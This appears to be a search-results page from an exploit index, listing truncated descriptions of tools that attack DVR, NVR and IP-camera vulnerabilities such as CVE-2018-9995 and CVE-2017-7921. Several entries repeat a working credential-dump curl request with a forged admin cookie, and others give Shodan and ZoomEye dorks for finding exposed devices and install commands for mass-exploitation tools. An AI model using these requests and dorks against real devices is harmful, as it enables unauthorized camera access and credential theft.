961 matches found
CVE-2017-7921
CVE-2017-7921 CVE-2017-7921 是一个严重漏洞（CVSS评分：9.8），影响多个海康威视IP摄像头和DVR型号，于2017年首次披露。该漏洞源于不正确的认证缺陷，允许未经身份验证的远程攻击者绕过登录机制并未经授权访问敏感系统信息 shodan dork : "Web Version="3.1.3.150324" http.favicon.hash:999357577"...
CamRaptor
CamRaptor CamRaptor 是一个利用流行 DVR 摄像头多个漏洞来获取网络摄像头登录凭据的工具。 功能特点 利用最流行摄像头型号（如 Novo、CeNova 和 QSee）中的漏洞。 通过启用线程的列表，优化以一次性利用多台摄像头。 简单的 CLI 和 API 用法。 安装 pip3 install git+https://github.com/EntySec/CamRaptor 基本用法 要使用 CamRaptor，只需在终端中输入 camraptor。 usage: camraptor -h -t -o OUTPUT -i INPUT -a ADDRESS --shod...
CVE-2018-9995-ModifiedByGwolfs
state 本工具是 gwolfs 编写的 CVE-2018-9995 的改进版本，仅供学习使用。请勿用于非法用途，由此产生的一切后果由您自行承担。原始版本由 ezelf 编写，位于 https://github.com/ezelf/CVE-2018-9995dvrcredentials 感谢 ezelf。 Exploit： 两种方法，您可以阅读 method1 或 method2 中的 README.md，我推荐 method1。...
DVR_Sploit
DVRSploit 用于自动化 CVE-2018-9995 的简单 python3 脚本 依赖项：requests pip install requests 用法： root@fuckmachine: python3 dvrsploit.py 输入 DVR 主机：192.168.69.69 输入 DVR 端口：88 设备列表：...
Hikvision-City-Hunter
La herramienta definitiva de reconocimiento y explotación a nivel de ciudad para 2025 para cámaras IP Hikvision, DVRs y NVRs Salida en vivo de consola • DVRs/NVRs resaltados en púrpura • Cámaras en verde • Descarga automática de instantáneas • Filtrado de honeypots...
QVIS NVR/DVR - Remote Code Execution
QVIS NVR DVR before 2021-12-13 is vulnerable to Remote Code Execution via Java deserialization. id: CVE-2021-41419 info: name: QVIS NVR/DVR - Remote Code Execution author: me9187 severity: critical description: | QVIS NVR DVR before 2021-12-13 is vulnerable to Remote Code Execution via Java...
TVT DVR Sensitive Device - Information Disclosure
A vulnerability has been found in TVT DVR TD-2104TS-CL, DVR TD-2108TS-HP, Provision-ISR DVR SH-4050A5-5LMM and AVISION DVR AV108T and classified as problematic. This vulnerability affects unknown code of the file /queryDevInfo. The manipulation leads to information disclosure. id: CVE-2024-7339...
DVR-Exploiter
DVR-Exploiter 漏洞标题： DVR凭据泄露 日期： 09/04/2018 漏洞作者： Fernandez Ezequiel DVR-Exploiter 作者： Belahsan Ouerghi 联系方式： www.facebook.com/ouerghi.belahsan Youtube 教程： https://www.youtube.com/watch?v=vdnATjE4II Dorks： intitle:"DVR Login" html:"/login.rsp" "Server: GNU rsp/1.1" 已在以下 DVR 上测试： Novo CeNova QSee...
pwn-hisilicon-dvr
= HiSilicon DVR hack Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Contents :imagewidth: 100% abstract This report discloses serious vulnerabilities with proof of concept PoC code of DVR/NVR devices built using the...
CVE-2018-9995-2
工具 CVE-2018-9995-2 CVE: CVE-2018-9995 利用作者: Fernandez Ezequiel @capitanalfa 修改者: Kien Quoc 版本: 2.0 安装 Python3 apt-get install git pip3 install requests pip3 install colorama sudo apt update apt-get install python3 快速开始 git clone https://github.com/kienquoc102/CVE-2018-9995-2 cd CVE-2018-9995-2...
CVE-2018-9995_dvr_credentials
工具 显示DVR凭据 漏洞标题： "获取DVR凭据" CVE： CVE-2018-9995 CVSS 基础评分 v3： 7.3 / 10 CVSS 向量字符串： CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 日期： 09/04/2018 漏洞作者： Fernandez Ezequiel 推特：@capitanalfa 漏洞利用： $ curl "http://:/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin" 测试过的DVR（banner/厂商？）： Novo CeNova QSee...
CVE-2022-25012
Argus Surveillance DVR 4.0 - 弱密码加密 CVE-2022-25012 此弱密码加密脚本的更新版本 Exploit DB 参考: https://www.exploit-db.com/exploits/50130 作者参考: https://deathflash1411.github.io/blog/dvr4-hash-crack NIST 参考: https://nvd.nist.gov/vuln/detail/CVE-2022-25012 描述: 作者曾表示他们没有为特殊 ASCII 字符添加额外的条目。...
CVE-2018-9995
工具 显示DVR凭证 漏洞标题: "Gets DVR Credentials" CVE: CVE-2018-9995 CVSS 基础评分 v3: 7.3 / 10 CVSS 向量字符串: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 日期: 09/04/2018 漏洞作者: Fernandez Ezequiel（从 CodeHolic 优化） 利用方法: $ curl "http://:/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin" 在以下 DVR 中测试（横幅/厂商？）： Novo...
HTC
攻击CCTV DVR凭据泄露 | CVE-2018-9995 | 安防摄像头泄露用户名用于获取登录权限 如何使用？ 打开 https://www.zoomeye.org/ 搜索关键词 '/login.rsp' 等待获取IP和端口 $ python3 thecctv.py 更多信息 操作系统 | 语言 | 联系方式 ---|---|--- Linux Ubuntu | Pythonv3 | [email protected] Keyw0rd上传此 3...
CVE-2018-9995-ModifiedByGwolfs
声明 此工具是 gwolfs 编写的 CVE-2018-9995 的改进版本，仅用于学习。请勿将其用于非法目的，由此产生的一切后果由您自行承担。原始版本由 ezelf 编写，托管于 https://github.com/ezelf/CVE-2018-9995dvrcredentials。 感谢 ezelf。 利用方法： 1. 从 shodan.io 获取 SHODANAPIKEY 2. 打开 search.rc 并将 $APIKEY 替换为你的 SHODANAPIKEY 3. 运行 startup.sh 4.（可选）打开 search.rc 并将 login.rsp 替换为其他查询短语。...
CVE-2018-9995_dvr_credentials
Tool 显示 DVR 凭据 Exploit Title: "获取 DVR 凭据" CVE: CVE-2018-9995 CVSS Base Score v3: 7.3 / 10 CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Date: 09/04/2018 Exploit Author: Fernandez Ezequiel twitter:@capitanalfa Exploit: $ curl "http://:/device.rsp?opt=user&cmd=list" -H "Cookie:...
CVE-2018-9995_dvr_credentials
工具 显示 DVR 凭证 Exploit Title: "获取DVR凭证" CVE: CVE-2018-9995 CVSS 基础得分 v3: 7.3 / 10 CVSS 向量字符串: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 日期: 2018年4月9日 漏洞利用作者: Fernandez Ezequiel 推特:@capitanalfa 利用方法: $ curl "http://:/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin" 已测试的DVR（横幅/厂商？）: Novo CeNov...